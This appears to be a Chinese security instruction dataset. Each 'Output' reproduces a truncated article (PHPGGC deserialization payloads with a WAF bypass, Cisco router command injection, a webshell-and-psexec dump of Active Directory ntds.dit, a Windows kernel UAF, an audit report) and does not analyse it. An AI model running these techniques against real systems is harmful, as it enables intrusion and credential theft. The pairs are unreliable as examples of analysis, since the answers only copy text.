执行的恶意代码,还是说有一个全新的代码完全覆盖了变量内容。我希望它是存储在变量中的,那样事情就会变得容易得多。
正如我前文所讲,最后一行代码是用来执行base64解码内容的转换。
Preg_replace的e注记
在 Preg_replace 正则表达式中使用的修饰e基于PHP7.0.0(谢谢你!)将会被删除,为了方便查阅,这里摘抄了php.net手册的相关内容:
如果设置了已否决的修饰符,Preg_replace
会在替换字符中做出常规反应,将它评定为PHP代码,然后用结果替换搜索字符串。单引号、双引号、反斜杠和NULL字符会由反向引用的反斜杠代替。
发现问题了吗?这是我们修复团队清理受害网站时每天都在寻找的函数。
结论
日常的恶意软件越来越难被发现。攻击者们将恶意软件存储在数据库里,进行加密,甚至将它编码成核心文件的样子。现在是时候为自己的网站进行了此健康检查了,看看是否有被添加或是被修改的文件,像一个强迫症一样细致一点吧。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 背景：
PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具,可以说是反序列化的武器库,平时遇到有关反序列化的题目时如果能够熟练运用它，将节省大量功夫，之前只知道有这个工具但是并没有好好研究研究它，于是便有了此文，若是哪里说的不对，还请师傅们指出。
## 1.PHPGGC工具介绍：
项目地址：<https://github.com/ambionics/phpggc>
运行phpggc 的条件是php cli的版本>=5.6
通过./phpggc -l
可以列出所有可利用的组件，其中每条都包括组件的名称、版本范围、可利用其进行的操作(文件读写或RCE)、攻击向量(例如__destruct)
通过./phpggc 组件名 -i 可以显示与组建相关的信息，其中就包括了具体生成攻击payload所需要的参数
以上图为例，生成laravel/rce1的payload需要提供函数名以及传给该函数的参数
因此使用：./phpggc Laravel/RCE1 system id 即可生成payload
对于只能满足写文件需求的组件例如，要利用必须知道网站的绝对路径，例如目标网站绝对路径为/var/www/html，需要写入shell.php
，写入的文件位于我们本机的/tmp/data，则需要执行：
PHPGGC中的-w参数还可以对序列化的数据进行一个再次包装处理：
a.在形成序列化数据之前调用其来更改序列化的对象,若存在以下漏洞点，接收参数为一个二维数组，那么我们需要对其中message键对应的值进行反序列化：
    <?php
    $data = unserialize($_GET['data']);
    print $data['message'];
此时可以自己利用PHPGGC提供的process_object($object)，即data对应的值不是一个序列化的字符串，而data['message']的值才应该是一个序列化后的字符串，这里只需要将要序列化的对象的值赋给message，即可以使用：
    <?php
    # /tmp/w.php
    function process_object($object)
    {
        return array(
            'message' => $object
        );
    }
这里将序列化对象的值赋给了message，并且返回为一个数组，然后再对数组进行serialize()函数处理，形成序列化的数据,运行结果如下：
由上图可以看出经过再次包装处理，序列化的数据成了一个包含一个元素的数组的序列化数据，即a:1
b.在形成序列化数据以后对序列化数据进行更改，这里举个最简单的例子，将id字符串更改为ls
由图中可以看到此时已经成功进行更改，当然稍微复杂一点的更改可以针对实际情况进行调整要更改的字符串，比如<https://xz.aliyun.com/t/2912>
中easy_lavarel题目最后要更改一下要删除编译后模板文件的路径。
phpggc也支持payload编码功能，例如./phpggc -b -u -u slim/rce1 system
id,对生成的序列化数据先进行base64编码，再进行两次urlencode编码
使用-f参数进行快速反序列化，即在unserialize()函数以后立即销毁对象，而不是在php脚本运行结束以后，建议在组件的攻击向量为__destruct时进行使用。
使用--plus-numbers可以用来bypass，如果waf检测序列化数据中是否包含php对象是通过正则O:[0-9]+来判断，则可以通过O:+123代替O:123来绕过，其中types是指要在何种数据类型的数字前加“+”,比如O就是PHP对象，i就是int类型数据。
## 2.PHPGGC实践
上一个部分对PHPGGC工具的使用方法有了一个基本的了解，接下来需要利用实践环境进行一个实践操作，知道其具体应如何使用：
环境：
CVE-2017-6920 YAML 解析器处理不当导致的一个远程代码执行漏洞
<https://github.com/Medicean/VulApps/tree/master/d/drupal/1>
这里以Guzzle/RCE1为例子进行分析，来对drupal进行测试：
在PHPGGC中，pop链在gadgets.php文件中，pop链的逻辑和描述在chain.php文件中
chain.php
    <?php
    namespace GadgetChain\Guzzle;
    class RCE...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Windows Search Indexer本地权限提升漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 diffense，文章来源：blog.diffense.co.k
原文地址：<http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
2020年1月至2月期间，微软修复了Windows Search Indexer（Windows搜索索引器）中存在的多个漏洞。
如上图所示，微软在Windows Search Indexer中发现了众多本地权限提升漏洞。在本文中，我们将分析这些补丁的细节，并分享这些漏洞的详细信息。
## 关于Windows Search Indexer
Windows Search Indexer是一项用于为Windows
Search处理文件索引的Windows系统服务，该服务为Windows系统内置的文件搜索引擎提供了动力，而文件搜索引擎则用于包括“开始”菜单搜索框、Windows资源管理器以及库功能在内的诸多地方。
Search Indexer主要使用GUI图形界面，将用户定向到该服务的界面，如下图所示。
索引过程中的所有数据库（包括临时数据库）都将存储为文件的形式以进行管理。通常情况下，在Windows Server中，整个过程都是使用NT
AUTHORITY SYSTEM特权来执行的。然而，如果由于修改文件路径而导致出现逻辑错误，这可能会触发特权提升（例如：Symlink攻击）。
考虑到近期在Windows服务中发现的大多数漏洞都是由于逻辑错误而导致的本地权限提升（LPE）漏洞，因此我们在分析之前，也首先将Search
Indexer的漏洞假定为这种类型。但在详细分析的过程中，我们却发现事实并非如此。
## 补丁差异对比
我们进行分析所使用的环境是Windows 7
x86，因为该操作系统所对应的更新补丁相对较小，这将有助于我们识别补丁安装前后代码的差异。我们下载了该模块的两个补丁版本。
可以从Microsoft更新目录下载补丁：
1、修复后版本（2020年1月例行补丁）：KB45343142
2、修复后版本（2020年2月例行补丁）：KB45378133
要进行对比，我们首先需要对比补丁程序修改前后的二进制文件差异。实际上，这两个补丁仅修改了一个二进制文件，即searchindexer.exe。
上述补丁，是通过修改CSearchCrawlScopeManager和CSearchRoot类来完成漏洞修复的。前一个类是在1月补丁中实现了修复，而后者是在2月补丁中实现修复。这两个类中，都包含相同的更改内容，因此我们仅专注于对CSearchRoot类的分析。
如下图所示，展示了这个类中的原始代码，该代码使用锁来实现安全访问共享资源。我们推断，访问共享资源时会导致竞争条件漏洞的发生，因为在补丁中包含putter和getter函数。
## 如何与接口进行交互
我们参考了MSDN官方文档，以进一步了解如何使用这些类。我们发现，这些类都与Crawl Scope
Manager有关。接下来，我们详细分析这个类中包含的方法。
根据MSDN：
Crawl Scope Manager（CSM）是一组API，可以用于添加、删除和枚举Windows Search
Indexer的搜索根和范围规则。当使用索引器开始爬取新的容器时，可以使用CSM来设置要搜索的根，并为搜索根中的路径设置作用域规则。
CSM的接口包括：
IEnumSearchRoots
IEnumSearchScopeRules
ISearchCrawlScopeManager
ISearchCrawlScopeManager2
ISearchRoot
ISearchScopeRule
ISearchItem
举例来说，添加、删除和枚举搜索根和范围规则，可以通过以下方式来编写：
ISearchCrawlScopeManager通知搜索引擎需要爬取和（或）监控的容器，以及要包含或排除的容器下项目。如果需要添加新的搜索根，需要实例化ISearchRoot对象，设置根属性，然后调用ISearchCrawlScopeManager::AddRoot并将其传递给ISearchRoot对象的指针。
    // Add RootInfo & Scope Rule
    pISearchRoot->put_RootURL(L"file:///C: ");
    pSearchCrawlScopeManager->AddRoot(pISearchRoot);
    pSearchCrawlScopeManager...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# AFLGo 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. Directed fuzzing
**Directed fuzzing** 可以翻译为定向模糊测试，导向型模糊测试，是灰盒模糊测试中的一种。传统的覆盖率引导的模糊测试 (Coverage-guided fuzzing)
是期望覆盖到更多的代码，所以是以覆盖率的增加作为引导。而在某些场景下，例如对patch进行测试，此时，传统的基于覆盖率的模糊测试那种盲目探索的方式不能满足快速到达特定目标点的需求。
所以，基于上述的场景，提出了 directed fuzzing ，导向型模糊测试是有特定目标的，希望能够快速覆盖到使用者期望到达的目标点。所以需要对
fuzzing 进行引导，忽略其余不相关的部分，使得 fuzzer 朝着目标点探索。
## 1\. AFLGo论文
2017年，Directed fuzzing这个概念在 B¨ohme等人的论文 _Directed Greybox Fuzzing_
中第一次被提出，文章开源了一个名为 [AFLGo](https://github.com/aflgo/aflgo "AFLGo Github URL")
的工具，是在 AFL 的基础上，实现了一个可以快速到达指定目标点的模糊测试工具。后续出现的 Directed fuzzing，基本都无法完全脱离 AFLGo
的方法，可以说，AFLGo 开创了导向型模糊测试的先河。
###  1.1 概述
AFLGo的流程如下图：
1.首先，编译源码，得到待 fuzz 程序的控制流图 (Control Flow Graph, CFG) 和函数调用图 (Call Graph, CG)
。这一步由AFL中作者编写的 LLVM Pass 完成。
2.其次，通过 CFG 和 CG，以及给定的 target，计算所有的基本块 (Basic Block, BB) 到 target 所在的基本块的
**距离** 。这一步由 python 脚本完成。
3.然后，再编译一次源码，对程序进行插桩，除了AFL原有的插桩逻辑外，添加向指定地址增加每个基本块距离的指令，即指定一个共享内存地址为记录 distance
的变量，在基本块中插桩，插入如下指令：distance += current_BB_distance，向 distance 变量增加当前基本块的距离。
4.最后是 fuzzing 部分的逻辑，根据插桩反馈的信息，我们可以在每一个 seed 作为输入给程序执行的时候得到这个 seed 对应的
distance，也就是 seed 执行路径距离目标点的距离，然后根据距离对 seed
进行打分，这个打分的算法就是模拟退火算法，距离越近，打分越高，seed 得到变异的机会越多。
至此，整个 AFLGo 的流程结束。
###  1.2 距离计算
AFLGO 首先根据 CG 计算 **函数层面 (function-level)** 的距离，然后基于 CFG 计算 **基本块层面 (basic-block level)** 的距离，最后将基本块的距离作为插桩时使用的距离。
因为 AFLGo 支持标记多个目标，所以在距离计算时需要将每个基本块到多个目标的距离做一个加和，这里采用的是对到每个目标的距离和取 **调和平均数** 。
为什么不取算术平均数？因为在多目标的情况下，算术平均数无法区分『一个基本块离一个目标近一个目标远』和『一个基本块离两个目标点距离相等』的情况。
如下图，当目标为Y1和Y2时，三个白色基本块都可以到达这两个灰色的目标点。当用算术平均数计算时，左右分别到两个目标点的距离是1和3，平均下来就是(1+3)
/ 2=
2。而最上面的点到两个目标的距离都是2，平均下来也是2，这样三个点距离都是2，区分不出到哪个点距离近。如果取调和平均数，左右两个点距离都是是3/4，最上面的点距离是1，这样就能区分出远近了。
**1.2.1 函数层面距离计算**
目标基本块所在的函数就是目标函数。
公式看起来比较复杂，其实就是两句话：
1.当该函数不能到达任意一个目标函数(即：CG上该函数没有路径能到达目标函数)时，不定义距离
2.否则，将该函数能够到达的目标函数之间的 **最短距离** 取调和平均数
**1.2.2 基本块层面距离计算**
有了函数层面的距离，再计算更加细的基本块距离，规则如下：
1.当基本块就是目标基本块时，该基本块的距离为0
2.当前基本块存在函数调用链可以到达目标函数时，距离为该基本块中调用的函数集和中，『距离目标函数最近的路径距离』乘上一个系数
3.否则，距离为『有能到达目标基本块的后继基本块时，取当前基本块到后继基本块距离』 + 『该后继基本块...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 业务风险IP情报在社交私信引流场景下的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
业务风险场景中基于IP的对抗一直是企业风控团队面对的一个难点。一方面一个IP背后可能对应多个用户和设备，另一方面随着黑产秒拨和代理技术的发展，大量的黑产IP资源是和正常用户的IP混合在一起。所以导致在IP这个维度上容易出现误判，往往风控的置信度不高，更甚者直接不把IP作为风控因子之一。但是从永安在线近期的数据监测可以看出，90%以上的黑产在攻击时为了绕过企业对于频次或者是地理位置的属性，必然是会使用到代理或者是秒拨的IP资源。对于IP情报能力的挖掘也能够有效帮助企业解决业务风险场景下的问题。
本篇文章主要分享一下在社交平台常见的IM广告引流场景下，业务风险IP情报如何帮助企业风控找到更多虚假账号。
## 社交平台广告引流场景下对抗的难点分析：
社交平台由于天然的聊天属性，导致变成了黑产广告引流、杀猪盘诈骗最严重的地方。黑产上游账号商人注册大量的虚假账号，然后把这些账号卖给中游引流团伙，引流团伙利用自动化工具和脚本批量的平台用户发“加微信”或者“做兼职”等私信进行引流到微信号或者QQ号。下游诈骗团伙在微信或者QQ上对引流成功的账号进行进行诈骗。一方面大量的垃圾广告会影响平台的用户体验，另一方面如果一旦脱离的平台的用户被诈骗成功，及时是不发生在社交平台内，也会对平台的口碑和形象造成极大的影响。
拿我们的一个社交客户的风险场景举例，早期黑产的作恶方式主要是通过接码平台注册大量的账号然后再利用自动化的工具进行批量引流。基于此他们主要在注册和私信两个场景下做攻防对抗，一方面在注册场景下接入手机黑卡情报和人脸验证对注册账号进行强校验，另一方面通过内容审核对于发布的引流信息进行识别，从而关联相关账号进行封禁。这个在早期极大的提高了黑产的注册成本，一定程度上控制住了黑产。
早期黑产作恶方式与对抗方式
但随着攻防对抗的升级，黑灰产不再使用接码平台进行账号注册，而是转用真人众包的方式进行虚假注册。真人众包实际上就是利用了想赚点小钱的兼职人员，他们通过发布注册任务获取大量通过人脸认证或者实名认证的账号，然后再把这些账号转卖给引流团伙进行诈骗。引流团伙在通过引流工具和脚本自动生成绕过企业内容审核机制的话术进行引流。
真人众包的注册任务
真人众包下黑产作恶方式
总结来说，有两大对抗难点：
1、虚假注册账号是利用真人信息和手机号进行注册的，难以识别
2、通过内容审核识别一方面存在滞后性，另一方面黑产工具可以批量生成随机话术进行对抗，导致攻防被动。
在Karma业务安全情报平台上发现的自动化引流脚本具有自动改变引流话术的功能
## 如何利用业务安全IP情报关联真人作弊的风险账号？
从上述的风险问题来看，其实单从账号或者内容审核的唯独很难有效的识别黑产的引流账号或者内容。但是有一个维度是值得深挖的——我们发现黑产利用工具在进行批量引流时，为了避免平台风控对于高频操作的限制，往往会内置一个代理或者秒拨的IP资源池，让其能够让每一次的行为都是一个新的IP资源。我们跟客户风控部一起对黑产账号进行多维度的数据分析后发现，黑产在该平台上作恶时存在明显的特征也正是：90%以上的黑产账号登录所用的IP来自于秒拨代理IP。
秒拨代理IP已集成到部分黑产工具中
因此从账号关联IP为切入口，永安在线与该社交平台风控一起进行了用户账号对应的IP关联分析，摘取出账号关联的IP中，IP命中我们业务风险IP情报中高风险IP占比超过60%的账号，结果发现这部分的账号74%存在直接的异常账号特征，例如密码简单且相似性高的特征，剩下的26%也存在一些其他的特征，例如IP存在跨省级切换的情况等等。利用这样的方式，我们帮助该平台一起发现了将近30万个虚假账号。
总的来说，平台利用业务风险IP情报这个维度，平台从事前事中时候逐步收束疑似站外引流的范围，并结合已有的数据维度，实现特征归类，逐步补齐业务风控模型。
## 业务风险IP情报在企业风控中的置信度将会逐步提高
永安在线业务风险IP情报主要解决两个问题：
1、对于主流的黑产IP资源的识别，能够覆盖全国80%以上的代理、秒拨资源。
2、时效性问题，我们做到对IP风险的秒级更新，判断一个IP在访问的当下是否是一个黑产的动态恶意IP。并且基于捕获的时间的长短进行风险的降级和清洗，保证实时的实时IP风险情报的准确度在99%以上。基于这两点，能够极大的提升IP情报对于风控运营的价值，在误判率极低的情况下，识别更多风险行为和账号，
业务风险IP情报因子在业务场景下应用上，我们建议：
1、中高风险IP风险IP所关联的账号进行分析，精准找出可疑流量，分析恶意特征，提升攻防效率。
2、对于爬虫等不关联账号的场景，可直接对不同风险等级...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Cisco RV345路由器高危漏洞研究分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
思科公司是全球领先的网络解决方案供应商。依靠自身的技术和对网络经济模式的深刻理解，思科成为了网络应用的成功实践者之⼀。
## 0x1 简介
关键点：upload.cgi中的fileparam参数，可以参考：<https://www.zerodayinitiative.com/advisories/ZDI-20-1100/>
## 0x2 准备
固件版本
1.0.00.33：<https://software.cisco.com/download/home/286288298/type/282465789/release/1.0.03.20?catid=268437899>
## 0x3 工具
1.静态分析工具：IDA
2.系统文件获取：binwalk
3.抓包改包工具：Brup Suite
## 0x4 测试环境
Cisco RV345路由器真机测试，可以在某宝上或者某鱼上购买（学到的知识是无价的）。
## 0x5 漏洞分析
1.可以通过binwalk -Me参数进行解包。
2.find -name “*cgi” 主要目的是搜索根目录在哪，可以看到如下图，路径比较长，所以通过find是最 好找到根目录的办法。
3.通过详细的描述可以发现，漏洞点出现在upload.cgi文件中（如果是低版本的1.0.00.33版本的话，
没有这个文件，只有高版本才有），那么漏洞点也出现在fileparam参数中，可以大致推测出漏洞点应该存在于固件更新页面。
4.本人想通过reboot命令对路由器进行探测是否执行命令成功，发现貌似不能执行reboot，执行其他
命令也没什么反应，可能到这里有的兄弟就已经放弃了，就觉得是不是没有这个漏洞，或者漏洞点 不在这，但是…
5.本人将固件版本降低重刷回 v1.0.00.33（官方最低版本）。
6.然后使用我们已经构造好的POC并放到Burp Suite中，并使用reboot命令，发现路由器重启，证明存在命令执行漏洞。但是想查看有什么命令能执行。
7.本人就想了一个办法，通过重定向符号”>”，将打印的数据重定向到能访问的页面，或者创建一个可以访问的页面(xxx.html)。
8.低版本的Cisco
RV345是没有telnetd这个命令的，但是高版本是存在telnetd的，本人便想通过上传高版本的busybox执行telnetd，发现居然不可以（可能是高版本的内核或者其他什么的不兼容低版本吧），那这样只能在网上找一个busybox上传了。最终获取到ROOT权限。
9.经过各种测试，发现高版本是存在漏洞的，但是权限是比较低的 www-data
用户权限，和漏洞详细描述的一样，所以不能执行reboot命令，只能执行比较简单的命令。
## 0x6 补丁对比
1.没有补过漏洞的，没有过滤直接通过sprintf 复制给v11，最终执行system。
2.多了一个match_regex函数的正则表达式，这样便不能输入特殊字符，也就无法导致命令执行漏洞了。
## 0x7 总结
固件为高版本，感觉不能执行命令时，可以切换一下思路，将版本降低，再重试，或许有不同的收获，然后结合低版本的思路，再去灰盒高版本固件。
当漏洞存在时，使用 ls 等命令都无法输出命令结果时，那么此时就可以换一下思维，通过 “>” 重定向符号或者其他方式将数据打印到访问的页面中。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

翻译：玄猫安全团队-Javierlev & Tri0nes
原文：`https://github.com/ethereum/go-ethereum/blob/master/docs/audits/2018-09-14_Clef-audit_NCC.pdf`
近期，以太坊`go-ethereum`公开了两份审计报告，玄猫安全团队第一时间对其进行了翻译工作。此为第二篇《Ethereum Clef
Review》即`2018-09-14_Clef-audit_NCC`，此审计报告完成时间为2018年9月14日。
如果您正在使用的是较旧版本的 `go-ethereum`，强烈建议升级至最新版本，以免遭受不必要的损失。
## 1.1. 概述
在2018年9月初，以太坊基金会委托`NCC
Group`对Clef命令行界面进行代码审计。代码位于`https://github.com/holiman/go-ethereum/tree/70cfedc9d7bd64f1f112eb2099a5c36266863f40/cmd/clef`。以下为审计详情。
标题 | ID | 风险
---|---|---
Clef备份加密不完全 | 002 | 中危
缺少密码强度检查 | 005 | 中危
交易数据字段验证失败 | 007 | 中危
由不正确的方法Selector导致的拒绝服务 | 010 | 中危
secrets.dat权限不当 | 001 | 低危
键值对加密存储的加密值可交换 | 003 | 低危
暴露的Clef API 缺少指引 | 004 | 低危
ECRecover不会对恢复的公钥进行身份验证 | 009 | 低危
过时的依赖关系 | 011 | 低危
规则依赖于时间和状态存在危险性 | 012 | 低危
通过格式错误的导入密钥拒绝服务 | 013 | 低危
加密密钥库完整性检查不完整 | 014 | 低危
UI混合了无关和特定允许的数据 | 006 | 建议
## 1.2. Clef备份加密不完全
### 1.2.1. 风险: 中危
影响性：高，可利用性： 低
### 1.2.2. 标识
NCC-EF-Clef-002
### 1.2.3. 分类
认证
### 1.2.4. 位置
  * cmd/clef/main.go:initializeSecrets()
### 1.2.5. 影响
一个能够入侵用户设备的攻击者可以任意访问Clef的加密备份
### 1.2.6. 描述
`Clef`在硬盘中存储了大量文件，如包含账户密码的`credentials.json`，包含`JavaScript`规则文件哈希的`config.json`等文件。通过这些文件可以恢复私钥。这些文件均由一个随机数种子派生的密钥来加密，且这个随机数种子是明文保存在硬盘里的`secrets.dat`文件中。
一个能够访问`secrets.dat`和`credentials.json`的攻击者可以任意访问账户及其资产。因此，一个没有硬盘加密保护的设备如果被物理入侵，将会泄露所有存储在`Clef`加密备份中的信息。当运行中的设备被远程控制时，将会使威胁到休眠的Clef应用，无论此时是否进行了硬盘加密。此外，将这些文件备份或拷贝到另一个位置也会使危及用户的账号安全。
### 1.2.7. 修复建议
强制使用密码来启动Clef命令行接口。并将此机制用在`go-ethereum/accounts/keystore`来保护`secret.dat`文件。
## 1.3. 缺少密码强度检查
### 1.3.1. 风险: 中危
影响性：中，可利用性：低
### 1.3.2. 标识
NCC-EF-Clef-005
### 1.3.3. 分类
认证
### 1.3.4. 位置
  * signer/core/api.go:New()
### 1.3.5. 影响
一个攻击者能够猜解不安全的用户密码，或者对用户弱密码进行爆破。这会导致攻击者获取用户以太坊账户的私钥。
### 1.3.6. 描述
`Clef CLI`能够被用于创建和管理以太坊外部拥有的账号。账户的创建过程可以通过发送下面的RPC请求给Clef来实现。(如果运行时加上--rpc选项)
    curl -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0", \
    "method":"account_new","params":["test"],"id":67}' localhost:8550
运行`Clef`的用户将会被要求输入用于保护账户私钥的密码。在这时，用户能够输入一个任意长...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文：
<https://mannulinux.blogspot.com/2018/12/remotely-dump-active-directory-domain.html>
大家好，本文我想给大家分享一些关于“Windows活动目录(AD)”环境相关的内容。我会给大家演示如何只使用webshell来dump
Windows活动目录用户数据库。
在渗透测试期间，通常会有这样的情况，渗透测试员拿到了域管理员的用户凭证，并且获得了其中一台主机的webshell，而这台主机连接到了Windows活动目录林。渗透测试员尝试得到反向shell，但是因为某些原因一直拿不下(比如说有网络防火墙做了策略)，但是渗透测试员的目的是dump
AD用户数据库，也就是AD环境下的用户和NTLM密码哈希值。
在测试期间我也遇到过相同的问题(没有公网IP服务器)，于是我对这个问题进行了一番研究，并找到了一种办法来解决上述问题，实现了在拿到AD域管理员后，只是用webshell来dump用户名和NTLM密码哈希值。
假如现在环境如下：
  * AD域控主机(queen.DC1.indishell.lab-192.168.56.200)
  * 被入侵的Windows主机-连接到AD(LABONE-192.168.56.101)
  * 成功获得WindowsAD域admin用户(可以使用任何exp，这里我使用的是经典的MS14-025来获得域管理员用户名和密码的)
现在我已经获得了Windows主机的webshell，该主机连接到域，也就是LABONE，IP地址是192.168.56.101，我获得的用户名是“user1”，密码是“ica_1046”。
在这个例子中，我会用到两个二进制文件：
  1. Psexec.exe->Windows内网工具
  2. Vssadmin->用户创建/删除Windows驱动器卷影副本的命令
不管怎样，如果我们能够在AD域控主机上执行“vssadmin”命令，这条命令会生成“C”盘的卷影副本，从卷影副本中，我们可以复制AD域控主机上的“ntds.dit”和“SYSTEM”文件。
为了完成上面提到的任务，我们将会用到“psexec.exe”，这个可执行文件能够在远程Windows主机上执行命令，只要我们指定目标主机IP地址，域管理员用户名和密码，并且加上“elevated”参数(指定-h)。我们需要通过webshell来上传psexec.exe文件到Windows主机LABONE上。通过webshell，我们将指定AD域控主机IP地址，域管理员用户名和密码以及“vssadmin”命令。这个psexec会远程在Windows
AD域控上执行vssadmin命令。在创建了C盘的卷影拷贝之后，我们就需要从该主机的卷影拷贝中复制“ntds.dit”和“SYSTEM”文件了，也就是我们拿到webshell的Windows域主机LABONE。这个任务也可以通过psexec来完成，我们只需要指定目标AD域控主机IP，域管理员用户名和密码以及copy命令，我们在其中指定“copy
command, please copy the ndts.dit and SYSTEM file from shadow copy to LABONE
machine using
SMB(复制命令，请使用SMB复制LABONE主机卷影拷贝中的ntds.dit文件和SYSTEM文件)”。我会将文件复制到LABONE主机中psexec文件所在的目录。
使用psexec在远程主机上执行命令的常用命令：
    psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />
在我的案例中，信息如下：
  * 远程主机IP：192.168.56.200(queen.DC1.indishell.lab)
  * user_name：user1
  * password_of_the_user：ica_1046
我get了Windows域主机LABONE的webshell，并且在该服务器中上传psexec文件：
首先，我检查一下该主机上是否有可用的C盘的卷影拷贝，列出可用卷影拷贝的命令如下：
    vssadmin list shadows
不过，这里的webshell无法显示psexec在远程主机上执行命令的所有输出结果，所以我会重定向输出结果到其他地方。这里我将结果重定向到了目录“C:\xampp\htdocs\box\ps”中。
执行这个任务的命令是：
    PsExec.exe  \\192....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Windows 内核漏洞利用之UAF：CVE-2015-0057
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Introduction
这次是内核中一个 uaf 漏洞的学习，刚好看到 wjllz 师傅的在看雪上的 [windows
内核系列文章](https://bbs.pediy.com/thread-247281.htm)，就也一起分析了 cve-2015-0057 这个洞（膜一发
wjllz 师傅 tql !!!），这篇写的水平肯定也没有 wjllz
师傅的好，也不太会讲故事，权当自己学习过程的记录，希望也能够帮助到你，如有错误多谢指正。
首先这次的漏洞分析也是参考已有的分析资料来学习，已有的资料包括：
  * 漏洞发现者 Udi Yavo of enSilo 的 [分析](https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit)
  * Ncc group 详细利用分析的 [writeup](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/)
  * keenjoy98 老师在 blackhat 上的议题 [A New CVE-2015-0057 Exploit Technology](https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf)
  * win8.1 x64 下完整利用 [[MS15-010 / CVE-2015-0057] EXPLOITATION](http://hdwsec.fr/blog/20151217-ms15-010/)
刚开始这样做不可避免，全靠自己从分析 patch 到 poc 再到 exploit
的话水平还达不到，不过这是下一阶段的目标，我会努力往这方面靠。说完了让我们开始专注漏洞，主要涉及的知识点有：
  * 用户态回调函数的使用
  * 堆风水
  * win8.1 堆头修复
  * win8.1 smep 绕过
  * 提权 shellcode
## The bug
漏洞出现在内核的 GUI 组件中，也就是 win32k.sys 模块，之前从来没有了解过 win32k 有关的用户态回调函数的利用，不过这里有篇相关的
[paper](https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf) 可以参考，帮助我们熟悉
win32k.sys。分析资料中直接给出了漏洞所在位置，也可以自己尝试从 patch 分析一波，我尝试对比了一下 patch 版本和原版本的
win32k.sys，有几十处函数有改动，没有任何思路遂放弃。从资料中找到漏洞代码，漏洞位置在
`win32k!xxxEnableWndSBArrows`，抛去如何定位漏洞的部分（因为不会 🙁 233），让我们直接理解漏洞原理：
###  **Unpatched**
以上代码是未经修补的漏洞代码，在适当的情况下 `win32k!xxxDrawScrollBar` 可以触发一个用户态调用让 `tagSBINFO`
对象指针即 `rbx`
被释放掉，而之后以上代码又使用了释放后内存中的值。简单来说就是某种情况下这个函数会触发一个函数回调，而我们可以控制这个函数回调，运行我们指定的代码。
### **Patched**
在 patched 的版本中，使用 `tagSBINFO`
指针之前设置了一道检查，这样导致用户控制的回调函数在设置检查的情况下无法被执行，用户的影响被消除了。
那么怎么控制这个回调函数？以及我们需要执行什么样的代码？这就需要完全理解了整个函数的作用以及其内部执行逻辑之后才能回答这个问题。这部分在 Ncc group
的 writeup 和 udi 的 blog 中有详细的解释，一起来看一下。
漏洞所在位置是跟窗体滚动条相关的，而每个窗体都设置了水平和垂直的滚动条 – scrollbar，参考
[ReactOS](https://doxygen.reactos.org/dd/d...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**Author：RickGray@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/9/>**
Now there is a phenomenon that once a PoC with a high-risk vulnerability is
detected or an EXP is released, there will be a large group of people trying
to verify it, and so do I.
In this interlocking vulnerability emergency life cycle: from the disclosure
of vulnerabilities to researchers’ analysis and verification, to PoC writing,
and then to large-scale scanning and testing, I think the most critical part
should be regarded as PoC writing and vulnerability detection:
  * **PoC Writing** \- Reproduce the vulnerability environment and recur the vulnerability in the process of coding.
  * **Vulnerability Detection** – By using the finished PoC to verify whether the test target has a vulnerability. It is important to note that this process (or when writing a PoC) needs to be safe, effective, and harmless, and avoid unrecoverable impact on the host computer in the scanning process as much as possible.
PoC writing, in my opinion, is the most basic work of security researchers or
vulnerability analysts. The programmer describes the process of vulnerability
verification and analysis by code, and writes the corresponding PoC according
to different types of vulnerabilities. Based on the accumulated experience of
writing PoC, the criteria are summarized as follows:
  * Randomness
  * Certainty
  * Versatility
## PoC Writing Guidelines & Examples
### 1\. Randomness
The key variables or data involved in PoC should be random. Don’t use a fixed
variable value to generate Payload and produce randomly as much as possible,
such as the file name of uploaded file, webshell password, string of Alert,
the value of MD5 and so on. What has been widely used in examples is pocsuite
PoC framework.
The code shown above is a key part of the validation code for arbitrary file
upload vulnerability caused by a topic in WordPress, in which "kstest.php" is
used as the name of upload file each time. It’s ...